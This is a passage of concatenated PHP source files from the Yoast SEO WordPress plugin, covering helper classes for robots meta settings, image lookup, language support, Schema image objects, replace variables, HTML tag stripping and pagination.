			$this->meta->delete( $post_meta_key, $indexable->object_id );
			return;
		}

		if ( $indexable->is_robots_noindex === false ) {
			$this->meta->set_value( $post_meta_key, 2, $indexable->object_id );
		}

		if ( $indexable->is_robots_noindex === true ) {
			$this->meta->set_value( $post_meta_key, 1, $indexable->object_id );
		}
	}

	/**
	 * Deletes the nofollow post_meta key if no nofollow in the indexable or if nofollow is false. Populates the post_meta key appropriately if there is a true nofollow in the indexable.
	 *
	 * @param Indexable $indexable     The Yoast indexable.
	 * @param string    $post_meta_key The post_meta key that will be populated.
	 *
	 * @return void
	 */
	public function nofollow_map( $indexable, $post_meta_key ) {
		if ( \is_null( $indexable->is_robots_nofollow ) || $indexable->is_robots_nofollow === false ) {
			$this->meta->delete( $post_meta_key, $indexable->object_id );
		}

		if ( $indexable->is_robots_nofollow === true ) {
			$this->meta->set_value( $post_meta_key, 1, $indexable->object_id );
		}
	}

	/**
	 * Deletes the nofollow post_meta key if no nofollow in the indexable or if nofollow is false. Populates the post_meta key appropriately if there is a true nofollow in the indexable.
	 *
	 * @param Indexable $indexable     The Yoast indexable.
	 * @param string    $post_meta_key The post_meta key that will be populated.
	 *
	 * @return void
	 */
	public function robots_adv_map( $indexable, $post_meta_key ) {
		$adv_settings_to_be_imported = [];
		$no_adv_settings             = true;

		if ( $indexable->is_robots_noimageindex === true ) {
			$adv_settings_to_be_imported[] = 'noimageindex';
			$no_adv_settings               = false;
		}
		if ( $indexable->is_robots_noarchive === true ) {
			$adv_settings_to_be_imported[] = 'noarchive';
			$no_adv_settings               = false;
		}
		if ( $indexable->is_robots_nosnippet === true ) {
			$adv_settings_to_be_imported[] = 'nosnippet';
			$no_adv_settings               = false;
		}

		if ( $no_adv_settings === true ) {
			$this->meta->delete( $post_meta_key, $indexable->object_id );
			return;
		}

		$this->meta->set_value( $post_meta_key, \implode( ',', $adv_settings_to_be_imported ), $indexable->object_id );
	}
}
wordpress-seo/src/helpers/image-helper.php000064400000027304147510273100014667 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WPSEO_Image_Utils;
use Yoast\WP\SEO\Models\SEO_Links;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Repositories\SEO_Links_Repository;

/**
 * A helper object for images.
 */
class Image_Helper {

	/**
	 * Image types that are supported by Open Graph.
	 *
	 * @var array
	 */
	protected static $valid_image_types = [ 'image/jpeg', 'image/gif', 'image/png', 'image/webp' ];

	/**
	 * Image extensions that are supported by Open Graph.
	 *
	 * @var array
	 */
	protected static $valid_image_extensions = [ 'jpeg', 'jpg', 'gif', 'png', 'webp' ];

	/**
	 * Represents the indexables repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Represents the SEO Links repository.
	 *
	 * @var SEO_Links_Repository
	 */
	protected $seo_links_repository;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url_helper;

	/**
	 * Image_Helper constructor.
	 *
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 * @param SEO_Links_Repository $seo_links_repository The SEO Links repository.
	 * @param Options_Helper       $options              The options helper.
	 * @param Url_Helper           $url_helper           The URL helper.
	 */
	public function __construct(
		Indexable_Repository $indexable_repository,
		SEO_Links_Repository $seo_links_repository,
		Options_Helper $options,
		Url_Helper $url_helper
	) {
		$this->indexable_repository = $indexable_repository;
		$this->seo_links_repository = $seo_links_repository;
		$this->options_helper       = $options;
		$this->url_helper           = $url_helper;
	}

	/**
	 * Determines whether or not the wanted attachment is considered valid.
	 *
	 * @param int $attachment_id The attachment ID to get the attachment by.
	 *
	 * @return bool Whether or not the attachment is valid.
	 */
	public function is_valid_attachment( $attachment_id ) {
		if ( ! \wp_attachment_is_image( $attachment_id ) ) {
			return false;
		}

		$post_mime_type = \get_post_mime_type( $attachment_id );
		if ( $post_mime_type === false ) {
			return false;
		}

		return $this->is_valid_image_type( $post_mime_type );
	}

	/**
	 * Checks if the given extension is a valid extension
	 *
	 * @param string $image_extension The image extension.
	 *
	 * @return bool True when valid.
	 */
	public function is_extension_valid( $image_extension ) {
		return \in_array( $image_extension, static::$valid_image_extensions, true );
	}

	/**
	 * Determines whether the passed mime type is a valid image type.
	 *
	 * @param string $mime_type The detected mime type.
	 *
	 * @return bool Whether or not the attachment is a valid image type.
	 */
	public function is_valid_image_type( $mime_type ) {
		return \in_array( $mime_type, static::$valid_image_types, true );
	}

	/**
	 * Retrieves the image source for an attachment.
	 *
	 * @param int    $attachment_id The attachment.
	 * @param string $image_size    The image size to retrieve.
	 *
	 * @return string The image url or an empty string when not found.
	 */
	public function get_attachment_image_source( $attachment_id, $image_size = 'full' ) {
		$attachment = \wp_get_attachment_image_src( $attachment_id, $image_size );

		if ( ! $attachment ) {
			return '';
		}

		return $attachment[0];
	}

	/**
	 * Retrieves the ID of the featured image.
	 *
	 * @param int $post_id The post id to get featured image id for.
	 *
	 * @return int|bool ID when found, false when not.
	 */
	public function get_featured_image_id( $post_id ) {
		if ( ! \has_post_thumbnail( $post_id ) ) {
			return false;
		}

		return \get_post_thumbnail_id( $post_id );
	}

	/**
	 * Gets the image url from the content.
	 *
	 * @param int $post_id The post id to extract the images from.
	 *
	 * @return string The image url or an empty string when not found.
	 */
	public function get_post_content_image( $post_id ) {
		$image_url = $this->get_first_usable_content_image_for_post( $post_id );

		if ( $image_url === null ) {
			return '';
		}

		return $image_url;
	}

	/**
	 * Gets the first image url of a gallery.
	 *
	 * @param int $post_id Post ID to use.
	 *
	 * @return string The image url or an empty string when not found.
	 */
	public function get_gallery_image( $post_id ) {
		$post = \get_post( $post_id );
		if ( \strpos( $post->post_content, '[gallery' ) === false ) {
			return '';
		}

		$images = \get_post_gallery_images( $post );
		if ( empty( $images ) ) {
			return '';
		}

		return \reset( $images );
	}

	/**
	 * Gets the image url from the term content.
	 *
	 * @param int $term_id The term id to extract the images from.
	 *
	 * @return string The image url or an empty string when not found.
	 */
	public function get_term_content_image( $term_id ) {
		$image_url = $this->get_first_content_image_for_term( $term_id );

		if ( $image_url === null ) {
			return '';
		}

		return $image_url;
	}

	/**
	 * Retrieves the caption for an attachment.
	 *
	 * @param int $attachment_id Attachment ID.
	 *
	 * @return string The caption when found, empty string when no caption is found.
	 */
	public function get_caption( $attachment_id ) {
		$caption = \wp_get_attachment_caption( $attachment_id );
		if ( ! empty( $caption ) ) {
			return $caption;
		}

		$caption = \get_post_meta( $attachment_id, '_wp_attachment_image_alt', true );
		if ( ! empty( $caption ) ) {
			return $caption;
		}

		return '';
	}

	/**
	 * Retrieves the attachment metadata.
	 *
	 * @param int $attachment_id Attachment ID.
	 *
	 * @return array The metadata, empty array when no metadata is found.
	 */
	public function get_metadata( $attachment_id ) {
		$metadata = \wp_get_attachment_metadata( $attachment_id );
		if ( ! $metadata || ! \is_array( $metadata ) ) {
			return [];
		}

		return $metadata;
	}

	/**
	 * Retrieves the attachment image url.
	 *
	 * @param int    $attachment_id Attachment ID.
	 * @param string $size          The size to get.
	 *
	 * @return string The url when found, empty string otherwise.
	 */
	public function get_attachment_image_url( $attachment_id, $size ) {
		$url = \wp_get_attachment_image_url( $attachment_id, $size );
		if ( ! $url ) {
			return '';
		}

		return $url;
	}

	/**
	 * Find the right version of an image based on size.
	 *
	 * @codeCoverageIgnore - We have to write test when this method contains own code.
	 *
	 * @param int    $attachment_id Attachment ID.
	 * @param string $size          Size name.
	 *
	 * @return array|false Returns an array with image data on success, false on failure.
	 */
	public function get_image( $attachment_id, $size ) {
		return WPSEO_Image_Utils::get_image( $attachment_id, $size );
	}

	/**
	 * Retrieves the best attachment variation for the given attachment.
	 *
	 * @codeCoverageIgnore - We have to write test when this method contains own code.
	 *
	 * @param int $attachment_id The attachment id.
	 *
	 * @return bool|string The attachment url or false when no variations found.
	 */
	public function get_best_attachment_variation( $attachment_id ) {
		$variations = WPSEO_Image_Utils::get_variations( $attachment_id );
		$variations = WPSEO_Image_Utils::filter_usable_file_size( $variations );

		// If we are left without variations, there is no valid variation for this attachment.
		if ( empty( $variations ) ) {
			return false;
		}

		// The variations are ordered so the first variations is by definition the best one.
		return \reset( $variations );
	}

	/**
	 * Find an attachment ID for a given URL.
	 *
	 * @param string $url            The URL to find the attachment for.
	 * @param bool   $use_link_table Whether the SEO Links table will be used to retrieve the id.
	 *
	 * @return int The found attachment ID, or 0 if none was found.
	 */
	public function get_attachment_by_url( $url, $use_link_table = true ) {
		// Don't try to do this for external URLs.
		$parsed_url = \wp_parse_url( $url );
		if ( $this->url_helper->get_link_type( $parsed_url ) === SEO_Links::TYPE_EXTERNAL ) {
			return 0;
		}

		/** The `wpseo_force_creating_and_using_attachment_indexables` filter is documented in indexable-link-builder.php */
		if ( ! $this->options_helper->get( 'disable-attachment' ) || \apply_filters( 'wpseo_force_creating_and_using_attachment_indexables', false ) ) {
			// Strip out the size part of an image URL.
			$url = \preg_replace( '/(.*)-\d+x\d+\.(jpeg|jpg|png|gif)$/', '$1.$2', $url );

			$indexable = $this->indexable_repository->find_by_permalink( $url );

			if ( $indexable && $indexable->object_type === 'post' && $indexable->object_sub_type === 'attachment' ) {
				return $indexable->object_id;
			}

			$post_id = WPSEO_Image_Utils::get_attachment_by_url( $url );

			if ( $post_id !== 0 ) {
				// Find the indexable, this triggers creating it so it can be found next time.
				$this->indexable_repository->find_by_id_and_type( $post_id, 'post' );
			}

			return $post_id;
		}

		if ( ! $use_link_table ) {
			return WPSEO_Image_Utils::get_attachment_by_url( $url );
		}
		$cache_key = 'attachment_seo_link_object_' . \md5( $url );

		$found = false;
		$link  = \wp_cache_get( $cache_key, 'yoast-seo-attachment-link', false, $found );

		if ( $found === false ) {
			$link = $this->seo_links_repository->find_one_by_url( $url );
			\wp_cache_set( $cache_key, $link, 'yoast-seo-attachment-link', \MINUTE_IN_SECONDS );
		}
		if ( ! \is_a( $link, SEO_Links::class ) ) {
			return WPSEO_Image_Utils::get_attachment_by_url( $url );
		}

		return $link->target_post_id;
	}

	/**
	 * Retrieves an attachment ID for an image uploaded in the settings.
	 *
	 * Due to self::get_attachment_by_url returning 0 instead of false.
	 * 0 is also a possibility when no ID is available.
	 *
	 * @codeCoverageIgnore - We have to write test when this method contains own code.
	 *
	 * @param string $setting The setting the image is stored in.
	 *
	 * @return int|bool The attachment id, or false or 0 if no ID is available.
	 */
	public function get_attachment_id_from_settings( $setting ) {
		return WPSEO_Image_Utils::get_attachment_id_from_settings( $setting );
	}

	/**
	 * Based on and image ID return array with the best variation of that image. If it's not saved to the DB,  save it
	 * to an option.
	 *
	 * @param string $setting The setting name. Should be company or person.
	 *
	 * @return array|bool Array with image details when the image is found, boolean when it's not found.
	 */
	public function get_attachment_meta_from_settings( $setting ) {
		$image_meta = $this->options_helper->get( $setting . '_meta', false );
		if ( ! $image_meta ) {
			$image_id = $this->options_helper->get( $setting . '_id', false );
			if ( $image_id ) {
				// There is not an option to put a URL in an image field in the settings anymore, only to upload it through the media manager.
				// This means an attachment always exists, so doing this is only needed once.
				$image_meta = $this->get_best_attachment_variation( $image_id );
				if ( $image_meta ) {
					$this->options_helper->set( $setting . '_meta', $image_meta );
				}
			}
		}

		return $image_meta;
	}

	/**
	 * Retrieves the first usable content image for a post.
	 *
	 * @codeCoverageIgnore - We have to write test when this method contains own code.
	 *
	 * @param int $post_id The post id to extract the images from.
	 *
	 * @return string|null
	 */
	protected function get_first_usable_content_image_for_post( $post_id ) {
		return WPSEO_Image_Utils::get_first_usable_content_image_for_post( $post_id );
	}

	/**
	 * Gets the term's first usable content image. Null if none is available.
	 *
	 * @codeCoverageIgnore - We have to write test when this method contains own code.
	 *
	 * @param int $term_id The term id.
	 *
	 * @return string|null The image URL.
	 */
	protected function get_first_content_image_for_term( $term_id ) {
		return WPSEO_Image_Utils::get_first_content_image_for_term( $term_id );
	}
}
wordpress-seo/src/helpers/robots-helper.php000064400000003366147510273100015117 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use Yoast\WP\SEO\Models\Indexable;

/**
 * A helper object for the robots meta tag.
 */
class Robots_Helper {

	/**
	 * Holds the Post_Type_Helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Holds the Taxonomy_Helper.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * Constructs a Score_Helper.
	 *
	 * @param Post_Type_Helper $post_type_helper The Post_Type_Helper.
	 * @param Taxonomy_Helper  $taxonomy_helper  The Taxonomy_Helper.
	 */
	public function __construct(
		Post_Type_Helper $post_type_helper,
		Taxonomy_Helper $taxonomy_helper
	) {
		$this->post_type_helper = $post_type_helper;
		$this->taxonomy_helper  = $taxonomy_helper;
	}

	/**
	 * Retrieves whether the Indexable is indexable.
	 *
	 * @param Indexable $indexable The Indexable.
	 *
	 * @return bool Whether the Indexable is indexable.
	 */
	public function is_indexable( Indexable $indexable ) {
		if ( $indexable->is_robots_noindex === null ) {
			// No individual value set, check the global setting.
			switch ( $indexable->object_type ) {
				case 'post':
					return $this->post_type_helper->is_indexable( $indexable->object_sub_type );
				case 'term':
					return $this->taxonomy_helper->is_indexable( $indexable->object_sub_type );
			}
		}

		return $indexable->is_robots_noindex === false;
	}

	/**
	 * Sets the robots index to noindex.
	 *
	 * @param array $robots The current robots value.
	 *
	 * @return array The altered robots string.
	 */
	public function set_robots_no_index( $robots ) {
		if ( ! \is_array( $robots ) ) {
			\_deprecated_argument( __METHOD__, '14.1', '$robots has to be a key-value paired array.' );
			return $robots;
		}

		$robots['index'] = 'noindex';

		return $robots;
	}
}
wordpress-seo/src/helpers/language-helper.php000064400000005234147510273100015366 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WPSEO_Language_Utils;
use Yoast\WP\SEO\Config\Researcher_Languages;

/**
 * A helper object for language features.
 */
class Language_Helper {

	/**
	 * The languages with inclusive language analysis support.
	 *
	 * @var string[]
	 */
	public static $languages_with_inclusive_language_support = [ 'en' ];

	/**
	 * Checks whether word form recognition is active for the used language.
	 *
	 * @param string $language The used language.
	 *
	 * @return bool Whether word form recognition is active for the used language.
	 */
	public function is_word_form_recognition_active( $language ) {
		$supported_languages = [ 'de', 'en', 'es', 'fr', 'it', 'nl', 'ru', 'id', 'pt', 'pl', 'ar', 'sv', 'he', 'hu', 'nb', 'tr', 'cs', 'sk', 'el', 'ja' ];

		return \in_array( $language, $supported_languages, true );
	}

	/**
	 * Checks whether the given language has function word support.
	 * (E.g. function words are used or filtered out for this language when doing some SEO and readability assessments).
	 *
	 * @param string $language The language to check.
	 *
	 * @return bool Whether the language has function word support.
	 */
	public function has_function_word_support( $language ) {
		$supported_languages = [ 'en', 'de', 'nl', 'fr', 'es', 'it', 'pt', 'ru', 'pl', 'sv', 'id', 'he', 'ar', 'hu', 'nb', 'tr', 'cs', 'sk', 'fa', 'el', 'ja' ];

		return \in_array( $language, $supported_languages, true );
	}

	/**
	 * Checks whether the given language has inclusive language support.
	 *
	 * @param string $language The language to check if inclusive language is supported.
	 *
	 * @return bool Whether the language has inclusive language support.
	 */
	public function has_inclusive_language_support( $language ) {
		return \in_array( $language, self::$languages_with_inclusive_language_support, true );
	}

	/**
	 * Checks whether we have a specific researcher for the current locale and returns that language.
	 * If there is no researcher for the current locale, returns default as the researcher.
	 *
	 * @return string The language to use to select a researcher.
	 */
	public function get_researcher_language() {
		$researcher_language = WPSEO_Language_Utils::get_language( \get_locale() );
		$supported_languages = Researcher_Languages::SUPPORTED_LANGUAGES;

		if ( ! \in_array( $researcher_language, $supported_languages, true ) ) {
			$researcher_language = 'default';
		}
		return $researcher_language;
	}

	/**
	 * Returns The site language code without region
	 * (e.g. 'en' for 'en_US' or 'en_GB').
	 *
	 * @return string The site language code without region.
	 */
	public function get_language() {
		return WPSEO_Language_Utils::get_language( \get_locale() );
	}
}
wordpress-seo/src/helpers/schema/article-helper.php000064400000001555147510273100016470 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Schema;

/**
 * Class Article_Helper.
 */
class Article_Helper {

	/**
	 * Determines whether a given post type should have Article schema.
	 *
	 * @param string|null $post_type Post type to check.
	 *
	 * @return bool True if it has Article schema, false if not.
	 */
	public function is_article_post_type( $post_type = null ) {
		if ( \is_null( $post_type ) ) {
			$post_type = \get_post_type();
		}

		return $this->is_author_supported( $post_type );
	}

	/**
	 * Checks whether author is supported for the passed object sub type.
	 *
	 * @param string $object_sub_type The sub type of the object to check author support for.
	 *
	 * @return bool True if author is supported for the passed object sub type.
	 */
	public function is_author_supported( $object_sub_type ) {
		return \post_type_supports( $object_sub_type, 'author' );
	}
}
wordpress-seo/src/helpers/schema/image-helper.php000064400000014022147510273100016120 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Schema;

use Yoast\WP\SEO\Helpers\Image_Helper as Main_Image_Helper;

/**
 * Class Image_Helper.
 */
class Image_Helper {

	/**
	 * The HTML helper.
	 *
	 * @var HTML_Helper
	 */
	private $html;

	/**
	 * The language helper.
	 *
	 * @var Language_Helper
	 */
	private $language;

	/**
	 * Represents the main image helper.
	 *
	 * @var Main_Image_Helper
	 */
	private $image;

	/**
	 * Image_Helper constructor.
	 *
	 * @codeCoverageIgnore It handles dependencies.
	 *
	 * @param HTML_Helper       $html     The HTML helper.
	 * @param Language_Helper   $language The language helper.
	 * @param Main_Image_Helper $image    The 'main' image helper.
	 */
	public function __construct( HTML_Helper $html, Language_Helper $language, Main_Image_Helper $image ) {
		$this->html     = $html;
		$this->language = $language;
		$this->image    = $image;
	}

	/**
	 * Find an image based on its URL and generate a Schema object for it.
	 *
	 * @param string $schema_id      The `@id` to use for the returned image.
	 * @param string $url            The image URL to base our object on.
	 * @param string $caption        An optional caption.
	 * @param bool   $add_hash       Whether a hash will be added as a suffix in the @id.
	 * @param bool   $use_link_table Whether the SEO Links table will be used to retrieve the id.
	 *
	 * @return array Schema ImageObject array.
	 */
	public function generate_from_url( $schema_id, $url, $caption = '', $add_hash = false, $use_link_table = true ) {
		$attachment_id = $this->image->get_attachment_by_url( $url, $use_link_table );
		if ( $attachment_id > 0 ) {
			return $this->generate_from_attachment_id( $schema_id, $attachment_id, $caption, $add_hash );
		}

		return $this->simple_image_object( $schema_id, $url, $caption, $add_hash );
	}

	/**
	 * Retrieve data about an image from the database and use it to generate a Schema object.
	 *
	 * @param string $schema_id     The `@id` to use for the returned image.
	 * @param int    $attachment_id The attachment to retrieve data from.
	 * @param string $caption       The caption string, if there is one.
	 * @param bool   $add_hash      Whether a hash will be added as a suffix in the @id.
	 *
	 * @return array Schema ImageObject array.
	 */
	public function generate_from_attachment_id( $schema_id, $attachment_id, $caption = '', $add_hash = false ) {
		$data = $this->generate_object();
		$url  = $this->image->get_attachment_image_url( $attachment_id, 'full' );

		$id_suffix = ( $add_hash ) ? \md5( $url ) : '';

		$data['@id']        = $schema_id . $id_suffix;
		$data['url']        = $url;
		$data['contentUrl'] = $url;
		$data               = $this->add_image_size( $data, $attachment_id );
		$data               = $this->add_caption( $data, $attachment_id, $caption );

		return $data;
	}

	/**
	 * Retrieve data about an image from the database and use it to generate a Schema object.
	 *
	 * @param string $schema_id       The `@id` to use for the returned image.
	 * @param array  $attachment_meta The attachment metadata.
	 * @param string $caption         The caption string, if there is one.
	 * @param bool   $add_hash        Whether a hash will be added as a suffix in the @id.
	 *
	 * @return array Schema ImageObject array.
	 */
	public function generate_from_attachment_meta( $schema_id, $attachment_meta, $caption = '', $add_hash = false ) {
		$data = $this->generate_object();

		$id_suffix = ( $add_hash ) ? \md5( $attachment_meta['url'] ) : '';

		$data['@id']        = $schema_id . $id_suffix;
		$data['url']        = $attachment_meta['url'];
		$data['contentUrl'] = $data['url'];
		$data['width']      = $attachment_meta['width'];
		$data['height']     = $attachment_meta['height'];
		if ( ! empty( $caption ) ) {
			$data['caption'] = $this->html->smart_strip_tags( $caption );
		}

		return $data;
	}

	/**
	 * If we can't find $url in our database, we output a simple ImageObject.
	 *
	 * @param string $schema_id The `@id` to use for the returned image.
	 * @param string $url       The image URL.
	 * @param string $caption   A caption, if set.
	 * @param bool   $add_hash  Whether a hash will be added as a suffix in the @id.
	 *
	 * @return array Schema ImageObject array.
	 */
	public function simple_image_object( $schema_id, $url, $caption = '', $add_hash = false ) {
		$data = $this->generate_object();

		$id_suffix = ( $add_hash ) ? \md5( $url ) : '';

		$data['@id']        = $schema_id . $id_suffix;
		$data['url']        = $url;
		$data['contentUrl'] = $url;

		if ( ! empty( $caption ) ) {
			$data['caption'] = $this->html->smart_strip_tags( $caption );
		}

		return $data;
	}

	/**
	 * Retrieves an image's caption if set, or uses the alt tag if that's set.
	 *
	 * @param array  $data          An ImageObject Schema array.
	 * @param int    $attachment_id Attachment ID.
	 * @param string $caption       The caption string, if there is one.
	 *
	 * @return array An imageObject with width and height set if available.
	 */
	private function add_caption( $data, $attachment_id, $caption = '' ) {
		if ( $caption !== '' ) {
			$data['caption'] = $caption;

			return $data;
		}

		$caption = $this->image->get_caption( $attachment_id );
		if ( ! empty( $caption ) ) {
			$data['caption'] = $this->html->smart_strip_tags( $caption );

			return $data;
		}

		return $data;
	}

	/**
	 * Generates our bare bone ImageObject.
	 *
	 * @return array an empty ImageObject
	 */
	private function generate_object() {
		$data = [
			'@type' => 'ImageObject',
		];

		$data = $this->language->add_piece_language( $data );

		return $data;
	}

	/**
	 * Adds image's width and height.
	 *
	 * @param array $data          An ImageObject Schema array.
	 * @param int   $attachment_id Attachment ID.
	 *
	 * @return array An imageObject with width and height set if available.
	 */
	private function add_image_size( $data, $attachment_id ) {
		$image_meta = $this->image->get_metadata( $attachment_id );
		if ( empty( $image_meta['width'] ) || empty( $image_meta['height'] ) ) {
			return $data;
		}
		$data['width']  = $image_meta['width'];
		$data['height'] = $image_meta['height'];

		return $data;
	}
}
wordpress-seo/src/helpers/schema/language-helper.php000064400000001544147510273100016626 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Schema;

/**
 * Class Language_Helper.
 */
class Language_Helper {

	/**
	 * Adds the `inLanguage` property to a Schema piece.
	 *
	 * Must use one of the language codes from the IETF BCP 47 standard. The
	 * language tag syntax is made of one or more subtags separated by a hyphen
	 * e.g. "en", "en-US", "zh-Hant-CN".
	 *
	 * @param array $data The Schema piece data.
	 *
	 * @return array The Schema piece data with added language property
	 */
	public function add_piece_language( $data ) {
		/**
		 * Filter: 'wpseo_schema_piece_language' - Allow changing the Schema piece language.
		 *
		 * @param string $type The Schema piece language.
		 * @param array  $data The Schema piece data.
		 */
		$data['inLanguage'] = \apply_filters( 'wpseo_schema_piece_language', \get_bloginfo( 'language' ), $data );

		return $data;
	}
}
wordpress-seo/src/helpers/schema/replace-vars-helper.php000064400000006764147510273100017440 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Schema;

use Closure;
use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Config\Schema_IDs;
use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Date_Helper;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;

/**
 * Registers the Schema replace variables and exposes a method to replace variables on a Schema graph.
 */
class Replace_Vars_Helper {

	use No_Conditionals;

	/**
	 * The replace vars.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	protected $replace_vars;

	/**
	 * The Schema ID helper.
	 *
	 * @var ID_Helper
	 */
	protected $id_helper;

	/**
	 * The date helper.
	 *
	 * @var Date_Helper
	 */
	protected $date_helper;

	/**
	 * Replace_Vars_Helper constructor.
	 *
	 * @param WPSEO_Replace_Vars $replace_vars The replace vars.
	 * @param ID_Helper          $id_helper    The Schema ID helper.
	 * @param Date_Helper        $date_helper  The date helper.
	 */
	public function __construct(
		WPSEO_Replace_Vars $replace_vars,
		ID_Helper $id_helper,
		Date_Helper $date_helper
	) {
		$this->replace_vars = $replace_vars;
		$this->id_helper    = $id_helper;
		$this->date_helper  = $date_helper;
	}

	/**
	 * Replaces the variables.
	 *
	 * @param array                  $schema_data  The Schema data.
	 * @param Indexable_Presentation $presentation The indexable presentation.
	 *
	 * @return array The array with replaced vars.
	 */
	public function replace( array $schema_data, Indexable_Presentation $presentation ) {
		foreach ( $schema_data as $key => $value ) {
			if ( \is_array( $value ) ) {
				$schema_data[ $key ] = $this->replace( $value, $presentation );

				continue;
			}

			$schema_data[ $key ] = $this->replace_vars->replace( $value, $presentation->source );
		}

		return $schema_data;
	}

	/**
	 * Registers the Schema-related replace vars.
	 *
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return void
	 */
	public function register_replace_vars( $context ) {
		$replace_vars = [
			'main_schema_id'   => $context->main_schema_id,
			'author_id'        => $this->id_helper->get_user_schema_id( $context->indexable->author_id, $context ),
			'person_id'        => $context->site_url . Schema_IDs::PERSON_HASH,
			'primary_image_id' => $context->canonical . Schema_IDs::PRIMARY_IMAGE_HASH,
			'webpage_id'       => $context->main_schema_id,
			'website_id'       => $context->site_url . Schema_IDs::WEBSITE_HASH,
			'organization_id'  => $context->site_url . Schema_IDs::ORGANIZATION_HASH,
		];

		if ( $context->post ) {
			// Post does not always exist, e.g. on term pages.
			$replace_vars['post_date'] = $this->date_helper->format( $context->post->post_date, \DATE_ATOM );
		}

		foreach ( $replace_vars as $var => $value ) {
			$this->register_replacement( $var, $value );
		}
	}

	/**
	 * Registers a replace var and its value.
	 *
	 * @param string $variable The replace variable.
	 * @param string $value    The value that the variable should be replaced with.
	 *
	 * @return void
	 */
	protected function register_replacement( $variable, $value ) {
		$this->replace_vars->safe_register_replacement(
			$variable,
			$this->get_identity_function( $value )
		);
	}

	/**
	 * Returns an anonymous function that in turn just returns the given value.
	 *
	 * @param mixed $value The value that the function should return.
	 *
	 * @return Closure A function that returns the given value.
	 */
	protected function get_identity_function( $value ) {
		return static function () use ( $value ) {
			return $value;
		};
	}
}
wordpress-seo/src/helpers/schema/html-helper.php000064400000003756147510273100016016 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Schema;

/**
 * Class HTML_Helper.
 */
class HTML_Helper {

	/**
	 * Sanitizes a HTML string by stripping all tags except headings, breaks, lists, links, paragraphs and formatting.
	 *
	 * @param string $html The original HTML.
	 *
	 * @return string The sanitized HTML.
	 */
	public function sanitize( $html ) {
		if ( ! $this->is_non_empty_string_or_stringable( $html ) ) {
			if ( \is_int( $html ) || \is_float( $html ) ) {
				return (string) $html;
			}

			return '';
		}

		return \strip_tags( $html, '<h1><h2><h3><h4><h5><h6><br><ol><ul><li><a><p><b><strong><i><em>' );
	}

	/**
	 * Strips the tags in a smart way.
	 *
	 * @param string $html The original HTML.
	 *
	 * @return string The sanitized HTML.
	 */
	public function smart_strip_tags( $html ) {
		if ( ! $this->is_non_empty_string_or_stringable( $html ) ) {
			if ( \is_int( $html ) || \is_float( $html ) ) {
				return (string) $html;
			}

			return '';
		}

		// Replace all new lines with spaces.
		$html = \preg_replace( '/(\r|\n)/', ' ', $html );

		// Replace <br> tags with spaces.
		$html = \preg_replace( '/<br(\s*)?\/?>/i', ' ', $html );

		// Replace closing </p> and other tags with the same tag with a space after it, so we don't end up connecting words when we remove them later.
		$html = \preg_replace( '/<\/(p|div|h\d)>/i', '</$1> ', $html );

		// Replace list items with list identifiers so it still looks natural.
		$html = \preg_replace( '/(<li[^>]*>)/i', '$1• ', $html );

		// Strip tags.
		$html = \wp_strip_all_tags( $html );

		// Replace multiple spaces with one space.
		$html = \preg_replace( '!\s+!', ' ', $html );

		return \trim( $html );
	}

	/**
	 * Verifies that the received input is either a string or stringable object.
	 *
	 * @param string $html The original HTML.
	 *
	 * @return bool
	 */
	private function is_non_empty_string_or_stringable( $html ) {
		return ( \is_string( $html ) || ( \is_object( $html ) && \method_exists( $html, '__toString' ) ) ) && ! empty( $html );
	}
}
wordpress-seo/src/helpers/schema/id-helper.php000064400000001263147510273100015435 0ustar00<?php

namespace Yoast\WP\SEO\Helpers\Schema;

use Yoast\WP\SEO\Config\Schema_IDs;
use Yoast\WP\SEO\Context\Meta_Tags_Context;

/**
 * Schema utility functions.
 */
class ID_Helper {

	/**
	 * Retrieve a users Schema ID.
	 *
	 * @param int               $user_id The ID of the User you need a Schema ID for.
	 * @param Meta_Tags_Context $context A value object with context variables.
	 *
	 * @return string The user's schema ID.
	 */
	public function get_user_schema_id( $user_id, $context ) {
		$user = \get_userdata( $user_id );
		if ( \is_a( $user, 'WP_User' ) ) {
			return $context->site_url . Schema_IDs::PERSON_HASH . \wp_hash( $user->user_login . $user_id );
		}

		return '';
	}
}
wordpress-seo/src/helpers/pagination-helper.php000064400000013274147510273100015737 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use Yoast\WP\SEO\Wrappers\WP_Query_Wrapper;
use Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper;

/**
 * A helper object for pagination.
 *
 * Used for the canonical URL and the rel "next" and "prev" meta tags.
 */
class Pagination_Helper {

	/**
	 * Holds the WP rewrite wrapper instance.
	 *
	 * @var WP_Rewrite_Wrapper WP_Rewrite wrapper.
	 */
	protected $wp_rewrite_wrapper;

	/**
	 * Holds the WP query wrapper instance.
	 *
	 * @var WP_Query_Wrapper WP_Query wrapper.
	 */
	protected $wp_query_wrapper;

	/**
	 * Pagination_Helper constructor.
	 *
	 * @param WP_Rewrite_Wrapper $wp_rewrite_wrapper The rewrite wrapper.
	 * @param WP_Query_Wrapper   $wp_query_wrapper   The query wrapper.
	 */
	public function __construct(
		WP_Rewrite_Wrapper $wp_rewrite_wrapper,
		WP_Query_Wrapper $wp_query_wrapper
	) {
		$this->wp_rewrite_wrapper = $wp_rewrite_wrapper;
